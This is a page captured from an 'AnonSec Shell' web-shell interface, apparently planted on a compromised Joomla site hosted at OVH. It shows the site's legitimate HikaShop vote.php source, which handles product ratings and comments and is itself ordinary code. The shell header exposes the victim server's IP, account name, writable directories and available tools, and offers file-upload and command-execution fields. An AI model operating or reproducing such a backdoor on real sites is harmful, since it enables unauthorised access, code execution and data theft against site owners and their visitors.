AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_hikashop/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_hikashop/classes/vote.php
<?php
/**
 * @package	HikaShop for Joomla!
 * @version	6.1.0
 * @author	hikashop.com
 * @copyright	(C) 2010-2025 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopVoteClass extends hikashopClass {
	var $tables = array('vote');
	var $pkeys = array('vote_id');
	var $toggle = array('vote_published'=>'vote_id');
	var $votePublished = array('vote_published'=>'vote_id');
	var $paginationStart = 0;
	var $paginationLimit = 50;
	var $error = array('code' => '', 'message' => '');
	var $values = array('average' => '', 'total' => '');

	function saveUseful(&$element){
		$config = hikashop_config();
		if($config->get('useful_rating',0) == 0){
			$this->error = array('code' => '505020', 'message' => hikashop_display(JText::_('HIKA_VOTE_USEFUL_RATING_DISABLED'), 'error', true));
			return false;
		}

		$user = hikashop_loadUser(true);
		if($config->get('register_note_comment',1) == 1 && empty($user->user_cms_id)){
			$this->error = array('code' => '505021', 'message' => hikashop_display(JText::_('HIKA_VOTE_MUST_BE_REGISTERED_FOR_USEFUL_RATING'), 'error', true));
			return false;
		}

		$voteClass = hikashop_get('class.vote');
		$vote = $voteClass->get($element->vote_id);
		if($element->value == '1')
			$vote->vote_useful++;
		else
			$vote->vote_useful--;
		$success = parent::save($vote);
		if(!$success){
			$this->error = array('code' => '505016', 'message' => hikashop_display(JText::_('HIKA_VOTE_ERROR_SAVING_DATA'), 'error', true));
			return false;
		}

		if(empty($user->user_cms_id))
			$user_id = hikashop_getIP();
		else
			$user_id = $user->user_id;
		$db = JFactory::getDBO();
		$db->setQuery('INSERT INTO '.hikashop_table('vote_user').' VALUES ('.(int)$element->vote_id.','.$db->quote($user_id).',1) ');
		$success = $db->execute();
		if(!$success){
			$this->error = array('code' => '505016', 'message' => hikashop_display(JText::_('HIKA_VOTE_ERROR_SAVING_DATA'), 'error', true));
			return false;
		}else{
			$this->error = array('code' => '200', 'message' => hikashop_display(JText::_('THANK_FOR_VOTE'), 'success', true));
			return false;
		}
	}

	function checkVote(&$element){
		$safeHtmlFilter = JFilterInput::getInstance(array(), array(), 1, 1);

		if(empty($element->vote_ref_id) || (int)$element->vote_ref_id == 0){
			$this->error = array('code' => '505001', 'message' => hikashop_display(JText::_('HIKA_VOTE_ITEM_ID_MISSING'), 'error', true));
			return false;
		}

		if((!isset($element->vote_type) || empty($element->vote_type)) && (!hikashop_isClient('administrator') || hikashop_isClient('administrator') && $element->vote_id == 0)){
			$this->error = array('code' => '505015', 'message' =>  hikashop_display(JText::_('HIKA_VOTE_TYPE_MISSING'), 'error', true));
			return false;
		}

		$allowedVoteType = $this->config->get('enable_status_vote','nothing');
		$element->vote_rating = (isset($element->vote_rating))?$element->vote_rating:0;
		$element->vote_comment = trim($safeHtmlFilter->clean(strip_tags((isset($element->vote_comment))?$element->vote_comment:''), 'string'));
		$correctRating = 1;
		if((int)$element->vote_rating == 0 || (int)$element->vote_rating > $this->config->get('vote_star_number',5))
			$correctRating = 0;

		$user = hikashop_loadUser(true);
		if($this->config->get('access_vote','public') == 'registered' && empty($user->user_cms_id)){
			$this->error = array('code' => '505017', 'message' => hikashop_display(JText::_('ONLY_REGISTERED_CAN_VOTE'), 'error', true));
			return false;
		}

		if(hikashop_isClient('administrator')){
			$element->vote_user_id = hikashop_getIP();
		}else{
			if(!empty($user->user_cms_id)){
				$element->vote_user_id = (int)$user->user_id;
				$element->vote_pseudo = $user->username;
				$element->vote_email = $user->email;
			}else{
				$element->vote_user_id = hikashop_getIP();
				$element->vote_pseudo = trim($safeHtmlFilter->clean(strip_tags((isset($element->vote_pseudo))?$element->vote_pseudo:''), 'string'));

				if((!$correctRating || $allowedVoteType == 'both') && !empty($element->vote_comment)){
					if(!$element->vote_pseudo){
						$this->error = array('code' => '505011', 'message' => hikashop_display(JText::_('HIKA_VOTE_PSEUDO_REQUIRED'), 'error', true));
						return false;
					}

					if($this->config->get('email_comment','1')){
						$element->vote_email = trim($safeHtmlFilter->clean(strip_tags((isset($element->vote_email))?$element->vote_email:''), 'string'));
						if(!$element->vote_email || empty($element->vote_email)){
							$this->error = array('code' => '505012', 'message' => hikashop_display(JText::_('HIKA_VOTE_EMAIL_REQUIRED'), 'error', true));
							return false;
						}
					}
				}
			}

			if($this->config->get('access_vote','public') != 'public' && empty($user->user_cms_id)){
				$this->error = array('code' => '505002', 'message' => hikashop_display(JText::_('HIKA_VOTE_REGISTRATION_REQUIRED'), 'error', true));
				return false;
			}

			if($element->vote_type == 'product' && $this->config->get('access_vote','public') == 'buyed'){
				$hasBought = $this->hasBought($element->vote_ref_id, $user->user_id);
				if(!$hasBought){
					$this->error = array('code' => '505003', 'message' => hikashop_display(JText::_('HIKA_VOTE_ITEM_BOUGHT_REQUIRED'), 'error', true));
					return false;
				}
			}
		}


		if(in_array($allowedVoteType,array('vote','two')) && $element->vote_rating != 0)
			$element->vote_comment = '';

		if($allowedVoteType == 'nothing'){
			$this->error = array('code' => '505005', 'message' => hikashop_display(JText::_('HIKA_VOTE_NOT_ALLOWED'), 'error', true));
			return false;
		}

		if($allowedVoteType == 'vote' && !$correctRating){
			$this->error = array('code' => '505006', 'message' => hikashop_display(JText::_('HIKA_VOTE_WRONG_RATING_VALUE'), 'error', true));
			return false;
		}

		if($allowedVoteType == 'comment' && $element->vote_comment == ''){
			$this->error = array('code' => '505007', 'message' => hikashop_display(JText::_('HIKA_VOTE_EMPTY_COMMENT'), 'error', true));
			return false;
		}

		if($allowedVoteType == 'two' && $element->vote_comment == '' && !$correctRating){
			$this->error = array('code' => '505008', 'message' => hikashop_display(JText::_('HIKA_VOTE_WRONG_VOTE_COMMENT_VALUE'), 'error', true));
			return false;
		}

		if($allowedVoteType == 'both' && ($element->vote_comment == '' || !$correctRating)){
			$this->error = array('code' => '505009', 'message' => hikashop_display(JText::_('HIKA_VOTE_MISSING_VOTE_COMMENT_VALUE'), 'error', true));
			return false;
		}

		if(!empty($element->vote_comment) && (!isset($element->vote_id) || $element->vote_id == 0)){
			$nbComment = $this->commentPassed($element->vote_type, $element->vote_ref_id, $element->vote_user_id);
			if(in_array($allowedVoteType,array('comment','two','both')) && !empty($element->vote_comment) && $nbComment >= $this->config->get('comment_by_person_by_product','30')){
				$this->error = array('code' => '505010', 'message' => hikashop_display(JText::_('HIKA_VOTE_LIMIT_REACHED'), 'error', true));
				return false;
			}
		}
		return true;
	}

	function save(&$element){
		$this->app = Jfactory::getApplication();
		$this->config = hikashop_config();
		$db = JFactory::getDBO();

		JPluginHelper::importPlugin('hikashop');
		$app = JFactory::getApplication();

		if(!hikashop_isClient('administrator'))
			$this->checkVote($element);

		if(!empty($this->error['code']))
			return false;


		if(!hikashop_isClient('administrator')){
			if($this->config->get('vote_ip', 1))
				$element->vote_ip = hikashop_getIP();
			if(!empty($element->vote_comment) && !$this->config->get('published_comment','1'))
				$element->vote_published = 0;
			else
				$element->vote_published = 1;
		}

		$oldElement = new stdClass();
		if(hikashop_isClient('administrator')){
			if($element->vote_id != '0'){
				$query = 'SELECT * FROM '.hikashop_table('vote').' WHERE vote_id = '.(int)$element->vote_id;
				$db->setQuery($query);
				$result = $db->loadObject();
				if(!empty($result)){
					$oldElement = $result;
					if(!isset($element->vote_ref_id)){
						$published = $element->vote_published;
						$element = clone($result);
						$element->vote_published = $published;
					}
					$element->vote_type = $result->vote_type;
				}else{
					$this->error = array('code' => '505018', 'message' => hikashop_display(JText::_('HIKA_VOTE_MISSING_ENTRY'), 'error', true));
					return false;
				}
			}
			if(isset($element->vote_user_type)) {
				if($element->vote_user_type == 'registered') {
					$element->vote_email = '0';
					$element->vote_pseudo = '0';
				} else {
					$element->vote_user_id = 0;
				}
				unset($element->vote_user_type);
			}
		}elseif($element->vote_rating != 0 && !in_array($this->config->get('enable_status_vote','nothing'), array('nothing','comment','both'))){ //If it is only a rating
			$result = $this->getUserRating($element->vote_type,$element->vote_ref_id,$element->vote_user_id);
			if(!empty($result)){
				$element->vote_id = $result->vote_id;
				$element->vote_published = $result->vote_published;
				$oldElement = $result;
			}else{
				$element->vote_id = 0;
			}
		}else{
			$element->vote_id = 0;
		}

		$do = true;
		$errors = array();
		$new = empty($element->vote_id);
		if($new)
			$element->vote_date = time();

		if($new)
			$app->triggerEvent('onBeforeVoteCreate', array( &$element, &$do, &$errors ) );
		else
			$app->triggerEvent('onBeforeVoteUpdate', array( &$element, &$do, &$oldElement, &$errors ) );

		if(!$do) {
			if(empty($errors)){
				$this->error = array('code' => '505019', 'message' => hikashop_display(JText::_('HIKA_VOTE_DO_FALSE_FROM_PLUGIN'), 'error', true));
			}else{
				$message = '';
				foreach($errors as $k => $error){
					if($k != 0)
						$errors .= '<br/>';
					$message .= $error;
				}
				$this->error = array('code' => '505019', 'message' => $message);
			}
			return false;
		}

		$success = parent::save($element);
		if(!$success) {
			$this->error = array('code' => '505016', 'message' => hikashop_display(JText::_('HIKA_VOTE_ERROR_SAVING_DATA'), 'error', true));
			return false;
		}
		if(empty($element->vote_id)) {
			$element->vote_id = $success;
		}

		$return_data = array('average' => 0, 'total' => 0);
		if($element->vote_type != 'product') {
			$db = JFactory::getDBO();
			$query = 'SELECT AVG(v.vote_rating) AS average, COUNT(v.vote_id) AS total FROM '.hikashop_table('vote').' AS v '.
				' WHERE vote_ref_id = ' . (int)$element->vote_ref_id .' AND vote_type = ' . $db->Quote($element->vote_type).' AND v.vote_rating != 0 AND vote_published >= 1';
			$db->setQuery($query);
			$data = $db->loadObject();
			if($data->total == 0) {
				$return_data['average'] = $element->vote_rating;
				$return_data['total'] = 1;
			} else if(!$new) {
				$return_data['average'] = (($data->total * $data->average) - $oldElement->vote_rating + $element->vote_rating) / $data->total;
				$return_data['total'] = $data->total;
			} else {
				$return_data['average'] = (($data->total * $data->average) + $element->vote_rating) / ($data->total + 1);
				$data->total++;
				$return_data['total'] = $data->total;
			}
		}

		if($new) {
			$app->triggerEvent('onAfterVoteCreate', array( &$element, &$return_data ) );
			$this->error = array('code' => '1', 'message' => hikashop_display(JText::_('VOTE_UPDATED'), 'success', true));
		} else {
			$app->triggerEvent('onAfterVoteUpdate', array( &$element, &$return_data ) );
			$this->error = array('code' => '2', 'message' => hikashop_display(JText::_('THANK_FOR_VOTE'), 'success', true));
		}

		if($success && $new && !empty($element->vote_comment) && $this->config->get('email_each_comment','') != ''){
			$this->sendNotifComment($success, $element->vote_comment,$element->vote_ref_id,$element->vote_user_id, $element->vote_pseudo, $element->vote_email, $element->vote_type);
		}

		$itemClass = hikashop_get('class.'.$element->vote_type);
		if($itemClass === null)
			return $success;

		$data = new stdClass();

		if($element->vote_rating == 0)
			return $success;

		if($element->vote_type == 'product') {
			$data->product_id = $element->vote_ref_id;
			$newValues = $this->updateAverage($element, $oldElement, $data);
			$return_data = array('average' => $newValues->product_average_score, 'total' => $newValues->product_total_vote);

			if(hikashop_isClient('administrator') && isset($element->vote_ref_id) && $element->vote_ref_id != $oldElement->vote_ref_id) {
				$oldData = $itemClass->get($oldElement->vote_ref_id);
				if(!empty($oldData)) {
					$oldElement->vote_ref_id = $oldData->product_id;
					$this->updateAverage($oldElement, $oldElement, $oldData);
					$itemClass->save($oldData);
				}	
			}
		}

		$this->values = $return_data;

		$itemSuccess = $itemClass->save($data);

		if(!$itemSuccess){
			$this->error = array('code' => '505013', 'message' => hikashop_display(JText::_('HIKA_VOTE_ERROR_SAVING_ITEM_DATA'), 'error', true));
			return false;
		} else {
			if(!hikashop_isClient('administrator')){
				if(!empty($element->vote_comment) && !$this->config->get('published_comment','1')) {
					$this->error = array('code' => '2', 'message' => hikashop_display(JText::_('THANK_YOU_FOR_YOUR_VOTE_REVIEWED_BEFORE_PUBLISHING'), 'success', true));

				}
			}
		}
		return $success;
	}

	function updateAverage(&$element, $oldElement, &$data) {

		$ref_id = 0;
		if(!empty($element->vote_ref_id))
			$ref_id = $element->vote_ref_id;
		elseif(!empty($oldElement->vote_ref_id))
			$ref_id = $oldElement->vote_ref_id;
		elseif(!empty($data->product_id))
			$ref_id = $data->product_id;

		if(empty($ref_id))
			return;

		$query = 'SELECT * FROM #__hikashop_vote WHERE vote_ref_id = '.(int)$ref_id.' AND vote_type=\'product\' AND vote_rating != 0 AND vote_published >=1';
		$db = JFactory::getDBO();
		$db->setQuery($query);
		$votes = $db->loadObjectList();

		$count = 0;
		$sum = 0;
		if(!empty($votes)) {
			foreach($votes as $vote)  {
				if(empty($vote->vote_rating))
					continue;
				$count++;
				$sum += $vote->vote_rating;
			}
		}

		$data->product_total_vote = $count;
		if($count>0)
			$data->product_average_score = is_nan($sum / $count) ? 0 : $sum / $count;
		else
			$data->product_average_score = 0;
		return $data;

	}

	function delete(&$elements){
		$db = JFactory::getDBO();
		hikashop_toInteger($elements);
		JPluginHelper::importPlugin('hikashop');
		$app = JFactory::getApplication();
		$do = true;
		$currentElements = array();
		$app->triggerEvent('onBeforeVoteDelete', array(&$elements, &$do, &$currentElements) );
		if(!$do)
			return false;

		$db->setQuery('SELECT vote_id, vote_rating, vote_ref_id, vote_published, vote_type FROM '.hikashop_table('vote').' WHERE vote_id IN ('.implode(',',$elements).')');
		$results = $db->loadObjectList();

		foreach($results as $result) {
			if($result->vote_type == 'product'){
				$dataClass = hikashop_get('class.'.$result->vote_type);
				$data = $dataClass->get($result->vote_ref_id);
			}

			$status = parent::delete($result->vote_id);
			if($status && isset($data) && $data !== null) {
				$query = 'DELETE FROM '.hikashop_table('vote_user').' WHERE vote_user_id = '.(int)$result->vote_id.' ';
				$db->setQuery($query);
				$db->execute();

				if($result->vote_type == 'product'){
					$oldResult = clone($result);
					$result->vote_published = '0';
					if($result->vote_rating != '0')
						$this->updateAverage($result, $oldResult, $data);
					unset($data->alias);
					$dataClass->save($data,true);
				}
			}
		}
		$app->triggerEvent('onAfterVoteDelete', array(&$elements) );
		return true;
	}

	function saveForm(){
		$element = new stdClass();
		$element->vote_id = hikashop_getCID('vote_id');
		$formData = hikaInput::get()->get('data', array(), 'array');
		jimport('joomla.filter.filterinput');
		$safeHtmlFilter = JFilterInput::getInstance(array(), array(), 1, 1);
		foreach($formData['vote'] as $column => $value){
			hikashop_secureField($column);
			$element->$column = $safeHtmlFilter->clean($value);
			if($column!='vote_comment'){
				$element->$column = strip_tags($element->$column);
			}
		}
		$result = $this->save($element);
		return $result;
	}

	function loadJS() {
		static $done = false;
		if($done)
			return true;
		$done = true;

		hikashop_loadJsLib('tooltip');

		$config = hikashop_config();
		$voteType = 0;
		if($config->get('enable_status_vote','0') == 'both')
			$voteType = 1;

		$js = '
if(typeof hikaVote !== "undefined") {
hikaVote.setOptions({
	itemId : "'.hikashop_getCID().'",
	urls : {
		save : "'.hikashop_completelink('vote&task=save',true,true).'",
		show : "'.hikashop_completelink('vote&task=show',true,true).'"
	},ctrl : "'.hikaInput::get()->getVar('ctrl','product').'",
	both : "'.$voteType.'"
});
} else {
	console.log(\'the HikaShop vote initialization JS is loaded while hikaVote is not available !\');
}
function hikashop_vote_useful(hikashop_vote_id, val) { return hikaVote.useful(hikashop_vote_id, val); }
function hikashop_send_comment(){ return hikaVote.vote(0,"hikashop_vote_rating_id"); }
function hikashop_send_vote(rating, from){ return hikaVote.vote(rating, from); }
';
		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration($js);
	}

	function sendNotifComment($vote_id, $comment, $vote_ref_id, $user_id, $pseudo, $email, $vote_type) {
		$config =& hikashop_config();

		if($pseudo != '0'){
			$username = $pseudo;
			$email = $email;
			$email_enabled = $config->get('email_comment');
			if($email_enabled == 0){
				$email = "Not required";
			}
		} else {
			$userClass = hikashop_get('class.user');
			$userInfos = $userClass->get($user_id);
			if(!empty($userInfos)){
				$username	= $userInfos->username;
				$email	= $userInfos->email;
			}
		}

		$result = new stdClass();
		$result->vote_id = $vote_id;
		$result->vote_type = $vote_type;
		$result->product_id = $vote_ref_id;
		$result->username_comment = $username;
		$result->email_comment = $email;
		$result->comment = $comment;

		$type = null;
		if($vote_type == 'product') {
			$productClass = hikashop_get('class.product');
			$type = $productClass->get($vote_ref_id);
		}

		$mailClass = hikashop_get('class.mail');
		$infos = new stdClass();
		$infos->type =& $type;
		$infos->result =& $result;
		$mail = $mailClass->get('new_comment',$infos);
		$mail->subject = JText::sprintf($mail->subject,HIKASHOP_LIVE);

		if(empty($mail->dst_email))
			$mail->dst_email = $config->get('email_each_comment');

		$mailClass->sendMail($mail);
		return ;
	}

	function get($id, $type = 'product', $content = 'main', $infos = array()){
		return parent::get($id);
	}

	function getList($id, $type = 'product', $content = 'main', $infos = array()){
		$votes = array();
		if((int)$id == 0)
			return $votes;

		$config = hikashop_config();
		$db = JFactory::getDBO();

		$select = 'SELECT a.*, b.*, c.*';
		$from = ' FROM '.hikashop_table('vote').' AS a';
		$leftJoin = ' LEFT JOIN '.hikashop_table('user').' AS b ON a.vote_user_id = b.user_id';
		$leftJoin .= ' LEFT JOIN '.hikashop_table('users',false).' AS c ON b.user_cms_id = c.id';
		$where = ' WHERE vote_type = '.$db->quote($type).' AND vote_ref_id = '.(int)$id;
		$where .= ' AND vote_published = 1';
		$sort = $config->get('vote_comment_sort');
		if($sort == 'date_desc'){
			$order = ' ORDER BY vote_date DESC';
		}elseif($sort == 'helpful'){
			$order = ' ORDER BY vote_useful ASC';
		}else{
			$order = ' ORDER BY vote_date ASC';
		}
		$limit = ' LIMIT '.$this->paginationStart.','.$this->paginationLimit;

		$query = $select.$from.$leftJoin.$where.$order.$limit;
		$db->setQuery($query);
		$votes = $db->loadObjectList('vote_id');

		$voteInfos = array('vote_id','vote_rating','vote_comment','vote_useful','vote_pseudo','vote_date');
		$userInfos = array('username');

		$allInfos = array_merge($voteInfos, $userInfos, $infos);

		$ids = array();
		foreach($votes as $k => $vote){
			$ids[] = $vote->vote_id;
			$userData = new stdClass();
			foreach($vote as $l => $data){
				if(!in_array($l,$allInfos)){
					unset($votes[$k]->$l);
				}
				if(in_array($l,$userInfos)){
					$userData->$l = $data;
					unset($votes[$k]->$l);
				}
			}

			if(isset($votes[$k]->vote_rating)){
				$votes[$k]->vote_value = $votes[$k]->vote_rating;
				unset($votes[$k]->vote_rating);
			}

			$votes[$k]->vote_username = '';
			if(!empty($userData->username)){
				$votes[$k]->vote_username = $userData->username;
			}elseif($vote->vote_pseudo != 0){
				$votes[$k]->vote_username = $vote->vote_pseudo;
			}
			unset($votes[$k]->vote_pseudo);
		}

		if($content == 'full' && !empty($ids)){
			$query = 'SELECT * FROM '.hikashop_table('vote').' WHERE vote_published = 1 AND vote_ref_id IN ('.implode(',',$ids).') AND vote_type LIKE '.$db->quote('criterion-%');
			$db->setQuery($query);
			$criterions = $db->loadObjectList('vote_id');

			$categoryIds = array();
			foreach($criterions as $k => $criterion){
				$categoryIds[] = str_replace('criterion-','',$criterion->vote_type);
			}

			$query = 'SELECT * FROM '.hikashop_table('category').' WHERE category_published = 1 AND category_id IN ('.implode(',',$categoryIds).')';
			$db->setQuery($query);
			$categories = $db->loadObjectList('category_id');

			$categoryInfos = array('category_name','category_description');
			$allInfos = array_merge($categoryInfos, $infos);
			foreach($categories as $k => $categorie){
				foreach($categorie as $l => $data){
					if(!in_array($l,$allInfos)){
						unset($categories[$k]->$l);
					}
				}
			}

			$criterionInfos = array('vote_id','vote_rating','vote_date');
			$allInfos = array_merge($criterionInfos, $infos);
			$categoryIds = array();
			foreach($criterions as $k => $criterion){
				$refId = $criterion->vote_ref_id;
				$categoryId = str_replace('criterion-','',$criterion->vote_type);
				$categoryIds[] = $categoryId;
				foreach($criterion as $l => $data){
					if(!in_array($l,$allInfos)){
						unset($criterion->$l);
					}
				}

				foreach($criterion as $l => $criterionInfo){
					$name = str_replace('vote','criterion',$l);
					$votes[$refId]->vote_criterions[$criterion->vote_id]->$name = $criterionInfo;
				}
				$votes[$refId]->vote_criterions[$criterion->vote_id]->criterion_name = $categories[$categoryId]->category_name;
				$votes[$refId]->vote_criterions[$criterion->vote_id]->criterion_description = $categories[$categoryId]->category_description;
			}
		}
		return $votes;
	}

	function hasBought($vote_ref_id, $user_id){
		$purchased = 0;
		$db = JFactory::getDBO();
		$config = hikashop_config();
		$valid_statuses = explode(',', $config->get('invoice_order_statuses','confirmed,shipped'));
		if(empty($valid_statuses))
			$valid_statuses = array('confirmed','shipped');
		foreach($valid_statuses as $k => $status) {
			$valid_statuses[$k] = $db->quote($status);
		}
		$query = 'SELECT order_id FROM '.hikashop_table('order').' WHERE order_user_id = '.$db->quote($user_id).' AND order_status IN ('.implode(',',$valid_statuses).') AND order_type = '.$db->quote('sale');
		$db->setQuery($query);
		$order_ids = $db->loadColumn();
		if(!empty($order_ids)) {
			$query = 'SELECT product_id FROM '.hikashop_table('product').' WHERE product_parent_id = '.(int)$vote_ref_id.'';
			$db->setQuery($query);
			$product_ids = $db->loadColumn();
			if(empty($product_ids)) {
				$product_ids =  array(0 => 0);
			}
			$query = 'SELECT order_product_id FROM '.hikashop_table('order_product').' WHERE order_id IN ('.implode(',',$order_ids).') AND (product_id = '.(int)$vote_ref_id.' OR product_id IN ('.implode(',',$product_ids).'))';
			$db->setQuery($query);
			$result = $db->loadObjectList();
			if(!empty($result))
				$purchased = 1;
		}
		return $purchased;
	}

	function commentPassed($vote_type, $vote_ref_id, $user_id) {
		$db = JFactory::getDBO();
		$query = 'SELECT COUNT(vote_comment) as count' .
			' FROM ' . hikashop_table('vote') .
			' WHERE vote_type = ' . $db->quote($vote_type) . ' AND vote_ref_id = ' . (int)$vote_ref_id . ' AND vote_user_id = ' . $db->quote($user_id).' AND vote_comment != \'\'';
		$db->setQuery($query);
		$result = $db->loadObject();
		return (int)$result->count;
	}

	function getUserRating($type, $ref_id, $user_id = '') {
		if(empty($user_id)) {
			$user_id = hikashop_loadUser();
			if($user_id == null)
				$user_id = '';
		}

		$db = JFactory::getDBO();
		$filters = array(
			'vote_type = '.$db->quote($type),
			'vote_rating != 0'
		);

		if(is_array($ref_id)) {
			hikashop_toInteger($ref_id);
			$filters[] = 'vote_ref_id IN ('.implode(',', $ref_id).')';
		} else {
			$filters[] = 'vote_ref_id = '.(int)$ref_id;
		}

		$ip = hikashop_getIP();
		if(empty($user_id) || $user_id == $ip) {
			$filters[] = 'vote_ip = '.$db->quote($ip);
			$filters[] = 'vote_user_id IN ( \'\' , \'0\', '.$db->quote($ip).')';
		} else {
			$filters[] = 'vote_user_id = '.$db->quote($user_id);
		}

		$query = 'SELECT * FROM '.hikashop_table('vote').' WHERE ('.implode(') AND (', $filters) . ')';
		$db->setQuery($query);

		if(is_array($ref_id)) {
			$result = $db->loadObjectList('vote_ref_id');
		} else {
			$result = $db->loadObject();
		}
		return $result;
	}
}

Anon7 - 2022
AnonSec Team